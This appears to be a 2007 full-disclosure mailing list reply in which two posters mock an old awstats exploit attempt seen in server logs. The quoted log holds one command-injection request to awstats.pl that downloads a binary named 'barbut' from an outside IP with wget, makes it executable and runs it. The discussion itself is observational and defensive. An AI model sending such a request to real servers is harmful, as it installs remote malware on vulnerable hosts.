full-disclosure - Re: Barbut

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Date: Wed, 21 Nov 2007 15:44:25 -0500
From: Simon Smith <simon@...soft.com>
To: Valdis.Kletnieks@...edu
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Barbut

Vladis,
	Got that right... this vulnerability was released ages ago if memory
serves right. Whats funny is that I am not using a linux host and I do
not use awstats anyway... makes the attack even more pathetic.

Valdis.Kletnieks@...edu wrote:
> On Wed, 21 Nov 2007 14:20:22 EST, Simon Smith said:
> 
>> Anyone else seen these really 3l337 attacks?
> 
>> GET
>> /stats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo|
> 
>> gotta love script kids...
> 
> The truly sad part is that the script apparently still works often enough that
> the script kids are still using it, rather than saying "that one's crap, it
> never gets me a box".
> 
> One has to wonder what level of pwnage exists on boxes that are *still*
> vulnerable to this one - they may actually be reaching win98-style equilibrium.
> They're old enough that everybody's hit them already, and are probably running
> software *so* ancient that it's actually before most of the current crop of
> vulnerabilities were discovered.
> 


-- 

- simon

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